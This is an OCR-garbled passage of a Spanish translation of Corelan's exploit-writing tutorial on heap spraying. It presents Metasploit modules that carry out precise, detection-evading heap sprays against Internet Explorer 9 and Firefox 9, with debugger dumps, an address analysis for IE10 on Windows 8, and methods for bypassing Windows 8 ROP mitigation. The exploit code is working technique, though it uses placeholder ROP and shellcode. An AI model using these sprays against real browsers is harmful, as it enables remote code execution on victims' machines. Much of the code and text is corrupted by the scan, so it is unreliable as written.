» Tratara de detectar las secuencias de NOP’s:

http://blog.didierstevens.com/2011/01/12/heaploai@y-sled-detection/

Y cadenas de texto en la memoria;

http://blog.didierstevens.com/2011/02/18/heaploateng-detection/

* Monitorizara el uso de memoria privada:

http://blog.didierstevens.com/2010/12/14/heaplogkerate-memory-
usage-monitoring/

Y permitird establecer una cantidad maxima de mienp@ara asignarsela
a un script determinado.
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Heaplocker se entrega como un archivo DIl. Puedegurarte de que el
archivo DLL se cargue en cada proceso utilizandadDd_LViaApplnit:

http://blog.didierstevens.com/2009/12/23/loaddbnapinit/

O mediante la inclusion de la dll de heaplockeelelAT de la aplicacion
que deseas proteger.

Heap Spraying en Internet Explorer 9

Concepto / Script

Me di cuenta de que el enfoque de Heaplib, utitivael script usado para
IE8, no funcionaba en IE9. No se encontraron rasteb Heap Spray.

Después de probar un par de cosas, he descubiegtdE§ en realidad
podria tener la Nozzle o Bubble (o algo similarpiementado. Como se
explico anteriormente, esta técnica detecta se@mgnde NOP’'s o
asignaciones que tengan el mismo contenido y daitareacion de
asignaciones.

Para superar ese problema, escribi una variacioel erso de Heaplib
clasico, implementado como un médulo de Metasplbit. variacion
simplemente randomiza una gran parte de la pod@omemoria reservada
y se asegura de que cada fragmento tiene relléa@lie (en términos de
contenido, no en tamafio). Esto parece derrotaotaqrion bastante bien.

Después de todo, realmente no necesitamos NOP sHdap Sprays
precisos, el relleno en el inicio y fin de cadagble de 0x800 byte es
basura. Por lo tanto, si s0lo usamos bytes aleatoyinos aseguramos de
que cada asignacion sea diferente a la anteritvendes ser capaces de
evitar tanto la Nozzle como la BuBBle.

El resto del cédigo es muy similar a la técnicaH#®ap Spraying preciso
usado en IE8. Debido a DEP (y el hecho de que dk9fanciona en Vista
y superiores), necesitamos Heap Spraying precisogée me di cuenta de
mis asignaciones de Heap Spray de IE9 no son numE®ej@or oleaut32,
todavia utilizan la biblioteca Heaplib para asigrias bloques. Por
supuesto, cualquier parte especifica de la rutedadoiblioteca oleaut32
puede no ser necesario. De hecho, ni siquiera iteséteaplib en absoluto
— asignacion.
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He probado mi script (implementado como un moéduto Metasploit)
contra IE9 en todos los parches de Vista SP2 y Wwsd7 SP1, y
documenté el desplazamiento exacto de las versagiesstema operativo
Windows.

En ambos escenarios, he utilizado 0x0c0OcOcOc comalideccion de
destino, pero no dudes en utilizar una direccideréite y averiguar el
Offset (s) correspondiente en consecuencia.

Ten en cuenta que, en este script, un bloque ldermacion simple (que

se repite en el interior de cada trozo) es de 0X8@Q0= 0x1000) bytes. El

desplazamiento desde el inicio del blogue en OXlxfix es de alrededor
de 0x600 bytes, lo que significa que tienes ce®d00 bytes de una
cadena de ROP y codigo. Si eso no es suficientecpalquier razon,

puedes jugar con el tamafio del trozo o una direcd@destino mas baja
dentro del mismo trozo.

Como alternativa, también se puede poner la Stiglan el relleno o
basura antes de la cadena de ROP. Ya que estarmndoubloques
repetidos de 0x800 bytes dentro de un trozo de lil@adena de ROP
estaria seguida por un poco de relleno y luego modeencontrar la
Shellcode nueva. En el relleno después de la cadierROP, solo tienes
gue colocar o ejecutar un salto hacia delante ggliara el resto del relleno
en el extremo del blogue 0x1000 bytes), aterrizam@ Shellcode situada
en el comienzo de los siguientes 0x1000 bytes cotiges.

Por supuesto, también puede saltar hacia atras, élasomienzo del actual
bloque 0 x 1000 bytes, y colocar el codigo shelesa lugar. En ese caso,
la rutina de ROP se tiene que marcar la memoresaid la cadena de ROP
como ejecutable también.

Nota: el archivo zip contiene una version modifecat®l script de abajo -
mas sobre estas modificaciones se puede encohtirzal ale este capitulo.
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: : :  Salto hacia |
Shellcode  § Shellcode ¢ Basuma iCadena ROP; adelante iBaswa

0x0c0c0cOc

heapspray_ie9.rb

require  ‘'msf/core'

Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

initialize(info = {})
(update_info(info,
‘Name' =>"'|E9 HeapSpray
corelancOd3r,
‘Description’  => %q{
This demonstrates a heap
spray on IE9 (Vista/Windows 7),

}1
‘License' => MSF_LICENSE,

‘Author => [ 'corelanc0d3r' ],
‘'Version' => '$Revision: $',
'References’ =>

[

written by corelanc0d3r

['URL',
‘https://www.corelan.be' ],

1,

'DefaultOptions' =>

{

h
'Payload'

{

'EXITFUNC' => 'process',

'‘Space' => 1024,
'‘BadChars' ="
'Platform’ , =>'win',
‘Targets' =>
[
['IE 9 - Vista SP2/Win7 SP1',
{
'Ret' => 0x0OC0OCOCOC,
'OffSet’ => Ox5FE,
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1,
'DisclosureDate’ => ",
'DefaultTarget’ => 0))

autofilter

check_dependencies
use_zlib

on_request_uri(cli, request)
# Re-genera el Payload
(( p =regenerate_payload(cli)) ==

# Codifica la cadena ROP
rop =" AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
rop_js = Rex::Text.to_unescape(rop,
Rex::Arch.endian(target.arch))

# Codifica alguna Shellcode falsa (BPS)
code="  \xcc "*400
code_js = Rex::Text.to_unescape(code,
Rex::Arch.endian(target.arch))

spray = <<-JS
var heap_obj = new heapLib.ie(0x10000);

var rop = unescape(" #rop_js} "); /[Cadena ROP
var code = unescape(" #{code js} ");// Cddigo a ejecutar.

var offset_length = #{target[' OffSet'};

Ispray
(var i=0; i < 0x800; i++) {

randomnumberleath.roor(l\\//IEgth.random()*90)+10;
randomnumber2=Math.roor(\h;Iz§th.random()*90)+10;
randomnumberB:Math.floor(\l\//iarth.random()*90)+10;
randomnumber4=Math.roor(\h;IEgth.random()*90)+10;

var paddingstr =" %U" +
randomnumberl.toString() + randomnumber2.toString()

paddingstr +=" %U' + randomnumber3.toString() +
randomnumber4.toString()
var padding = unescape(paddingstr);  // Relleno al a zar.

(padding.length < 0x1000) padding+=
padding; // Crea un bloque grande de relleno.

junk_offset = padding.substring(O0,
offset_length); // Offset al inicio de ROP.
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/I 'Un bloque es de 0x800 bytes.
/I La alineacién en Vista/Win7 parece ser de 0x10

/I Repitiendo 2 bloques de 0x800 bytes = 0x1000

/I que deberia asegurse que la alineacién de
ROP sea segura.

var single_sprayblock = junk_offset + rop +
code + padding.substring(0, 0x800 - code.length - j unk_offset.length -
rop.length);

/I Simplemente repite el bloque (solo para
hacerlo mas grande)
(single_sprayblock.length < 0x20000)
single_sprayblock += single_sprayblock;

sprayblock = single_sprayblock.substring(0,
(0x40000-6)/2);

heap_obj.alloc(sprayblock);
}

document.write(“Spray listo”);
alert(“Spray listo”);
JS

js = heaplib(spray)
# Construye el Html.

content = <<-HTML

<html>

<body>

<script language='"javascript'>
#{js}

</script>

</body>

</html>

HTML

print_status(" Sending exploit to

#{cli.peerhost}:#{cli.peerport}... )

# Transmite la respuesta al cliente
send_response_htmil(cli, content)

En Vista SP2 vemos esto:
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779fR84e oo int 3

0:019: d ODzlclclc

Oz0c0c0z 41 41 41 41 42 42 42 42-43 43 43 43 44 44 44 44 AAAABBBBCCCCDDDD
lzOclOclz 45 45 45 45 46 46 46 46-47 47 47 47 48 48 48 48 EEEEFFFFGGGGHHHH
UcleleZe colcolcoitolco col co CE—Co Co Co Co SO SO Ca ial Ly
Jzlclc3dc CoC oo OC COC OC COC OC CC—COC CC OO CO0 OO OO0 O S0 oo
lzlclcdc oo o CcC CC COC OC OC CO—COC OC O OC OO0 OO0 ©0 ©0 . . . oo
Uclclchc c©c cc cCc cC CC CC CC CC—CC CC CC CC CC CC O OO0 &g
fclclchc 'St o 't o Eeitg re—te o 0o B0 'S /B0 BEES  snmmmansnnnnmmns
lclclc?e coc oo oo oo oo oo o co—ed/ et &8ged)ec co oo .

im

- 5 " f I :

0:019> |

_— — s " TR y
EEER™Y &= 90 /5 hittp://102.168.201 2...

En Windows 7, deberias ver exactamente lo mismo.

No sélo el trabajo de pulverizacién, que tambiétasearreglo para que sea
preciso. wOOt.

Las asignaciones actuales se realizan a travésasdelldamadas a
VirtualAllocEx(), la asignacion de trozos de 0x500#)tes.

Puedes utilizar el scriptirtualalloc.windbg desde el archivo zip para
registrar las asignaciones mas grande que Ox3FAEB [parametro). Ten
en cuenta que el script te mostrara la direcciéagignacion de todas las
asignaciones, pero solo muestra los parametrosirtigaMlloc cuando el
tamafo requerido es mas grande que nuestro pacametr
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En el archivo de registro - log, solo tienes quechu0x50000 en este caso:

T T g T 1] T

VirtualallocEx () - allocated at 0xed72000

[7601laf?s) kernel3Z ' Virtualdl loc+0x13 | (760laf9a) kerneli2!LocalFree
VirtualallocEx () - allocated at 0xed72000

[7601laf?s) kernel3Z ' Virtualdl loc+0x13 | (760laf9a) kerneli2!LocalFree
frirtualdllocEx ()

lpaddress : Ox0
dw3iize @ 0x50000
fliallocationType : OQxZ203000
f1Protect : 0x4

WirtualallocEx (] - allocated at Oxebhe0O000
[760laf?s) kernel3Z ! Virtualdlloc+0x15 | (7a0latf9a) kerneliZ!LocalFree
VirtualdllocEx({) - allocated at 0x6d75000
[760laf?s) kernel3Z ! Virtualdlloc+0x15 | (7a0latf9a) kerneliZ!LocalFree
VirtualdllocEx({) - allocated at 0=x6d76000

Fe ol u l IS L B Y 1 1 LIS o 1a11 L0acd 1 LSO S EOS, 1 1 11 1T

Por supuesto, puedes utilizar este mismo scripiEéh - tendras que
cambiar los Offsets correspondientes, pero el pregiipt funcionara bien.

La aleatorizacion + +

El cédigo puede ser optimizado aun mas. Se puettébiesuna pequeiia
funcién que retorne un bloque al azar de una lodgdada. De esta
manera, el relleno no se basaria en repetir blodae$ bytes, pero seria
aleatorio todo el camino. Por supuesto, esto pddnar un ligero impacto
en el rendimiento.

randomblock(blocksize)

theblock = "";
( i = 0; i < blocksize; i++)

theblock += floor( .random()*90)+10;

theblock

tounescape(block)

blocklen = block. ;
unescapestr = "";
( i = 0; i < blocklen-1; i=i+4)

unescapestr +=" %U' + block.substring(i,i+4);
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unescapestr;

Resultado:

bernory - Pid 3640 - WinDbg:6.11.0001.404 X84 = |[[[E ] 2R
Virtual: 0x cOclcia Display format: | Byte v|| Previous || Mext |
Ocl=0c2a 68 80 23 93 41 67 58 34 60 89 50 56 76 95 39 17 80 h. # AgE4™ PVs 9., -«
OcO=0c3b 72 64 88 23 31 19 12 50 44 92 19 68 37 47 53 46 90 rd.#1. FD. h7GSF.
OcOcO0cd4c 57 40 48 66 64 76 13 38 44 66 51 81 36 63 19 14 96 W@HEdw 8DEQ.6c. ..
OcO=0c5d 25 83 92 71 63 22 75 45 36 28 49 42 85 21 35 34 65 ¥ go"uE6(IB. 15de
OcOc0che 77 G54 25 57 79 57 49 46 285 77 35 83 20 25 35 14 92 wTHEWyWIF(wS. X5..
Oc0=0c?f 34 63 63 88 24 70 17 41 96 99 18 42 75 34 40 99 5L dcc. $p A, Bud@ T
OcO0=0c90 32 76 90 53 92 95 91 98 49 50 39 69 55 53 28 57 34 2v. 5. .. IP9iUS{W4 =
OcOc=0cal 34 78 18 35 33 43 66 71 33 78 60 71 82 16 14 49 74 4= 53Cfgi=x"g. .. It
OcO0c=0chb2 74 89 16 88 85 57 90 46 93 47 92 49 99 47 92 42 70 ... W F.G.I.G.Bp
Oclcs0cc3 29 46 79 46 41 65 27 55 95 57 44 20 38 67 31 35 21 )FyFie'TU. WD 8glG!
OcOc0cd4 95 45 10 73 86 88 72 49 485 81 85 G5 83 82 59 29 52 E.=. rIH. .U ¥IE
OcOc0ceS 51 47 37 56 27 85 34 48 98 80 17 95 95 36 66 54 73 QG7Y' 4H. ... biT=
OcOcOcfe 67 86 77 54 36 94 95 52 42 65 96 B85 95 65 81 11 44 g.wT6. .RBe...=..D
0c0=0d07 27 53 89 92 88 76 90 74 90 41 41 41 41 42 42 42 42 'S, vt AARABBER -

Nota: El archivo heapspray_ie9.rb en el archivoyaptiene implementada
esta funcionalidad de aleatorizacion mejorada.

Heap Spraying en Firefox 9.0.1

Las pruebas anteriores han demostrado que el Haay Slasico ya no
funciona en Firefox 6 en adelante. Por desgratiscrgt de heaplib ni el
script modificado heaplib para IE9 parece que nwiftna en Firefox 9
tampoco.

Sin embargo, utilizando los nombres individualesvdgable aleatoria y
asignacion de bloques al azar (en lugar de utilimarmatriz con bloques al

azar), se puede pulverizar el Heap de Firefox,cgta preciso.
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He probado el siguiente script en Firefox 9, en SP3, Vista SP2 y
Windows 7:

heapspray_ff9.rb

require  'msf/core’

Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

initialize(info = {})
(update_info(info,
'Name' => 'Firefox 9 HeapSpray
corelancOd3r,
‘Description’  => %q{
This demonstrates a heap
spray on Firefox 9,
written by corelanc0d3r
)
‘License' => MSF_LICENSE,
‘Author => [ 'corelanc0d3r' |,
"Version' => '$Revision: $',
'References’ =>
[
[ 'URL',
‘https://www.corelan.be' ],

1,

'DefaultOptions' =>

{

h
'Payload'

{

'EXITFUNC' => 'process’,

‘Space’ => 1024,
'‘BadChars' ="
2
'Platform'’ =>'win’,
‘Targets' =>
[
[ 'FF9,

{

'Ret' => 0x0OCOCOCOC,
'OffSet' => 0x606,
'Size' => 0x40000

}

]
]!
'DisclosureDate’ => ",
‘DefaultTarget’ => 0))

autofilter

check_dependencies
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use_zlib

on_request_uri(cli, request)
# Re-genera el Payload
((  =regenerate_payload(cli)) ==

# Codifica la cadena ROP
rop =" AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
rop_js = Rex::Text.to_unescape(rop,
Rex::Arch.endian(target.arch))

# Codifica alguna Shellcode falsa (BPS)
code="  \xcc "*400
code_js = Rex::Text.to_unescape(code,
Rex::Arch.endian(target.arch))

spray = <<-JS

var rop = unescape(" #rop_js} "); //Cadena ROP
var code = unescape(" #{code js} "); I/l Cédigo a
ejecutar.

var offset_length = #{target[' OffSet'};

Ispray
(var i=0; i < 0x800; i++)
{

randomnumber1=Math.roor(\h;IEgth.random()*90)+10;
randomnumber2=Math.roor(\h;Iz§th.random()*90)+10;
randomnumberB:Math.floor(l\\//IEgth.random()*90)+10;
randomnumber4=Math.roor(\h;Iz§th.random()*90)+10;

var paddingstr =" %U' +
randomnumberl.toString() + randomnumber2.toString() ;

paddingstr +=" %U' + randomnumber3.toString() +
randomnumber4.toString();

var padding = unescape(paddingstr); //
Relleno al azar.

(padding.length < 0x1000) padding+=
padding; // Crea un bloque grande de relleno.

junk_offset = padding.substring(O0,
offset_length); // Offset al inicio de ROP.

var single_sprayblock = junk_offset + rop +
code;

single_sprayblock += padding.substring(0,0x800
- offset_length - rop.length - code.length);

/I Simplemente repite el bloque (solo para
hacerlo mas grande)
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(single_sprayblock.length <
#{target['Size']}) single_sprayblock += single_spra yblock;

sprayblock = single_sprayblock.substring(0,
(#{target['Size"}-6)/2);

varname =" var " + randomnumberl.toString() +
randomnumber2.toString();
varname += randomnumber3.toString() +
randomnumber4.toString();
thisvarname =" var "+ varname +"
sprayblock +"
(thisvarname);

}

document.write(“Spray listo”);
JS

# Construye el Html.

content = <<-HTML

<html|>

<body>

<script language="javascript'>
#{spray}

</script>

</body>

</html|>

HTML

print_status(" Sending exploit to

#{cli.peerhost}.#{cli.peerport}... )

# Transmite la respuesta al cliente
send_response_htmil(cli, content)

En Vista SP2, esto es lo que deberias conseguir:
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ATALLl! OO e D OLnt |
7740884e co int 3

0:029: d Oclc0czlc

Oclc0czl0z 41 41 41 41 42 42 42 42-43 43 43 43 44 44 44 44 AAAABR
Oz0cz0zlz 45 45 45 45 45 46 46 46-—-47 47 47 47 48 48 483 483 EEEEF
Izl oo oo oo oo OO OO OO OC—CC OO O OO o O oC o0 L L. L. E
Aclclz3c oo oo oo OC OO OO OC OC—CC OO COC OO OO OO OC OO L L. L.
Iclclzcds oo oo oo oo OO OC OC OCO—CC OO OO OO OO OO O oo L L. L.
Aclclziz oo oo oo oo OC O OC OC—CC OO COC OO OO OO OC OO L L. L.
Iclclchc oo oo oo O OO OC OC OCO—CC OO OO OO OO OO O oo L L. L.
Aclclz?c oo CoCc oo OC OC OO OC OC—CC OO COC OO OO OO OO OO L L. L.

Fl 11 3

0:029> |

) Mozillz Firefox

He notado que a veces, la pagina en realidad payeeese cuelga y
necesita una actualizacién para ejecutar el cédayopleto. Tal vez sea
posible hacer algo como poner una rutina pequefiautte recarga en el
encabezado Html.

Una vez mas, puedes optimizar aun mas la rutiresimacion al azar (al
igual que lo hice con el modulo de Heap Spray d®,l|gero creo que
tienes una idea por ahora.

Heap Spraying en IE10 - Windows 8
Heap spray

Empujando mi "suerte" un poco mas, me decidi agrebscript de Heap
Spray para IE9 en una version de 32 bits de IEL@ (&g ejecuta en
Windows 8 Developer Preview Editon). Aunque Ox0a@wOno apuntd al
Spray, una busqueda de "AAAABBBBCCCCDDDD" ha obdenmuchos

punteros, lo que significa que las asignacionesidunaron.

Sobre la base de las pruebas que hice, parecd qemas una parte de las
asignaciones estan sujetas a ASLR, que los harhamaenos predecible.

Me di cuenta, sin embargo, en mi sistema de pruglEmtodos los punteros

(o casi todos) a "AAAABBBBCCCCDDDD" se colocaron ama
direccion que termina con 0xcOc.
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0x31128c0c : "RARABBBECCCC™ | [PAGE READWRITE} [None]
0x31129c0c : "RARREBBRECCCC™ | {PAGE READWRITE] [None]
0x3112acOc : "RARABBBECCCC™ | [PAGE READWRITE} [None]
0x3112bcOc : "RARABBEECCCC™ | [PAGE READWRITE] [None]
0x3112ccOc : "RARABBBECCCC™ | {PAGE READWRITE} [None]
0x3112dcOc : "RARABBBECCCC™ | [PAGE READWRITE} [None]
0x3112ecOc : "RARABBEECCCC™ | [PAGE READWRITE] [None]
0x3112fcOc : "RARABBBECCCC™ | {PAGE READWRITE} [None]
0x31130c0c : "AARABRERCCCC™ | ascii {PAGE RFADWRITE] [None]
0x31131c0c : "ARRABBBBCCCC™ | ascii {PAGE READWRITE} [None]
0x31132c0c : "RARABBBECCCC™ | ascii {PAGE READWRITE} [None]
0x31133c0c : "AARABRERCCCC™ | ascii {PAGE RFADWRITE] [None]
0x31134c0c : "ARRABBBBCCCC™ | ascii {PAGE READWRITE} [None]
0x31135c0c : "RARABBBECCCC™ | ascii {PAGE READWRITE} [None]
0x31136c0c : "AARABBERCCCC™ | ascii {PAGE RFADWRITE} [None]
0x31137c0c : "ARRABBBBCCCC™ | ascii {PAGE READWRITE} [None]
0x31138c0c ¢ ™ | {PAGE READWRITE] [None]
0x31139¢c0c & ™ | [PRGE READWRITE] [None]
0x3113aclc & " | [PRGE READWRITE] [None]|
0%3113bcOc ¢ ™ | [PRGE READWRITE] [None]
0x3113cclc & ™ " | [PAGE READWRITE] [None]
0x3113dcOc & " " | {PRLGE READWRITE} [None]
0x31l3eclc & ™ " | {PLGE READWRITE} [None]
0x3113fclc @ " | [BAGE READWRITE] [None]

Por lo tanto, decidi que era el momento de ejeautas Sprays y obtener
todos los punteros, y luego buscar punteros queeiciain.

Ejecuté el Spray 3 veces y almacé los resultado€:easultados Los
nombres de archivo sdimdl.txt, find2.txt y find3.txt.

Luego utiliceMona FileCompare para encontrar punteros coincidentes en
los 3 archivos:

Imona filecompare -f

" c:\results\find1.txt,c:\results\find2.txt,c:\result s\find3.txt

Esta comparacion basica no ha obtenido ningin pugtee coincida, pero
€S0 no significa que no hay superposicion de ateasemoria que pueden
contener tus datos cada vez que pulverices.

Incluso si no puedes encontrar un puntero que idainpuedes ser capaz
de alcanzar el puntero deseado ya sea recargapdgilza (si es posible),
o aprovechar el hecho de que la pagina podria reegrade forma
automatica después de un crash (y por lo tantotajet Spray de nuevo).

Ejecuté el FileCompare de nuevo utilizando la nugwaEon de alcance, en
busca de punteros que se pueden encontrar en go d@n0x1000 bytes
desde el puntero de referencia en el primer archweesta vez he
descubierto que hay muchas coincidencias.
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©Output -

/ ADWRITE}-

= from start pointer @
c@c + @x2201228 = @xe

(PAGE_READURITE}-
s from start pointer @x@f:

Esto significa que, si pulverizas blogues de migspde 0x1000 bytes,
OxOFD31CO0C apuntaria a una zona que tu controlas.

Yo soOlo ejecuté este andlisis en mi propio ordena@mn el fin de
encontrar las direcciones confiables y predeciliesesitaré encontrar los
resultados de otros equipos también. Si tienes amento, por favor,
ejecuta el Heap Spray contra IE10, y enviame ellteeto del comando
find deMona, asi que se puedes utilizarlo como una fuenteamdicpara
una comparacion.

Mitigacién y Bypass de ROP

Incluso si te las arreglas para llevar a cabo uapHgpray preciso sobre
IE10, Microsoft implementé un nuevo mecanismo dégacion ROP en
Windows 8, que complicara aun mas los scripts giareDEP.

Algunas API's (las que manipularan la memoria aljtuicomprobaran
ahora si los argumentos de la llamada a la APIrsacgnan en la pila - es
decir, la pila real (el rango de memoria asociaolo la pila). Al cambiar
ESP en el Heap, la llamada a la API no funcionara.
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Por supuesto, estas son las mitigaciones de todistema. Asi que, si tu
objetivo es utilizar un navegador o aplicacionanue un Heap Spray es
posible, tendras que lidiar con eso.

Dan Rosenberg https://twitter.com/#!/djrbliss y BKIS documentaron
algunas formas de evitar esta mitigacion.

Dan publicé sus hallazgos aqui:

http://vulnfactory.org/blog/2011/09/21/defeatingadows-8-rop-
mitigation/

Explicando una posible manera de escribir losragqnios de API a la pila
real. La rutina se basa en el hecho de que unmsieehistros puede
apuntar a tu Payload en el Heap. Si utilizas unstteg XCHG, ESP +
RETN para retornar a la cadena de ROP en el Heamaes este registro
apuntara a la pila real tan pronto como se inieiachdena de ROP.
Mediante el uso de ese registro, puedes escribialgumentos de la pila
real y asegurarte de que ESP apunte de nuevoaagomentos cuando se
llama a la API.

BKIS demostré una técnica diferente, basada en Gadgetssvcr71.dll
aqui:

http://blog.bkis.com/en/rop-chain-for-windows-8/

Y aqui:

http://blog.bkis.com/en/advanced-generic-rop-chHamwindows-8/

En su enfoque, utilizd un Gadget que lee la diéecde la pila real desde
el TEB, luego us6 memcpy() para copiar la caderntaahadde ROP +
Shellcode a la pila, y finalmente retorné a la cadée ROP en la pila. Si,
los argumentos para memcpy() no necesitan estarpia real.©

Para ser honesto, no creo que habrd muchos maghigascluyan Gadgets

para leer el puntero de pila real del TEB. Asi dakyez un enfoque de "lo
mejor de ambos mundos" puede funcionar.

Translated with permission of corelancOd3r — Traducido con permiso de corelancOd3r



Creacién de Exploits 11: Heap Spraying Desmitificaol por
corelancOd3r traducido por lvinson/CLS

En primer lugar, asegurate de que uno de los registpunte a la pila
cuando retornes al Heap, y:

« Llama a un memcpy(), copiando la verdadera cade@d® R
Shellcode a la pila (utilizando el puntero de gilerdado).

* Retorna a la pila.

* Ejecuta la cadena ROP verdadera y ejecuta la $Hellc

Graclas a:

% Equipo Corelan - por su ayuda aportando muchasscpaea el

tutorial, para examinar y para probar los diferesieripts y técnicas,

y por traermeRed Bull cuando lo necesitab& Tutoriales como

estos no son obra de un solo hombre, sino el agkulte las

semanas (y algunos meses) de trabajo en equipcitdebnes a
ustedes.

o,

% Mi esposay mi hija, por su amor eterno y soporte.

¢+ Wishi, por revisar el tutoriahttps://twitter.com/wishinet

% Moshe Ben Aby por permitirme publicar su obra (médulos de
Script y Exploits) sobre pulverizacién con imagends respetos,
hermano.

https://twitter.com/trancer0Q0t

>

% Por ultimo, GRACIAS, la comunidabhfoSec, por haber esperado
casi un afno y medio en este siguiente tutorial. ¢am®bios en mi
vida personal y en algunos casos dificiles ciertdenao han hecho
mas facil para mi estar motivado y enfocado a jaabaaciendo
tutoriales de investigacion y escritura.

Aunque la motivacién aun estad en proceso de regregasiento feliz y
aliviado de poder publicar este tutorial, asi goefpvor, acepta esto como
una pequefia muestra de mi aprecio por lo que hawhmor mi cuando
necesitaba tu ayuda. Tu apoyo durante los Ultimeses) significé mucho
para mi. Lamentablemente, algunas personas fueempsnamables y
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algunas personas incluso se desvincularén de ndreldh. Supongo que
asi es la vida. A veces la gente se olvida de doieten.

Desearia que la motivacion fuera sélo un botén puedes activar o
desactivar, pero que ciertamente no es el cascaviadstoy luchando,
pero lo estoy logrando.

De todas formas, espero que les guste este nuewdaku Asi que,

pulverizacorre la voz.

No hace falta decir que este documento esta pdatgmpr Copyright. No
robes el trabajo de los deméas. No hay necesidaalger a publicar este
tutorial porque Corelan esta aqui para quedarse.

Si estas interesado en tomar alguna de mis clasea, en:

WWw.corelan-training.com

Si lo que deseas es hablar con nosotros, pasatoglhacer preguntas, no
dudes en dirigirte al can&torelanen lalRC freenode. Estamos alli para

ayudarte y darte la bienvenida a cualquier pregudtaimporta si eres

novato o experto.

iFeliz Navidad, amigos, y un espléndido y saludéfé?2 para ti y tu
familia!
¢, Preguntas? ¢ Comentarios? ¢ Tips y Trucos?

https://www.corelan.be/index.php/forum/writing-eai$

© 2009 - 2012, Corelan Team (corelanc0d3r). Todsslerechos
reservados®

Pagina Oficial en Inglés:

http://www.corelan.be:8800/index.php/2009/07/19leiawriting-tutorial-part-1-stack-
based-overflows/

Traductor:Ivinson/CLS. Contactoipadilla63@gmail.com
@IvinsonCLS
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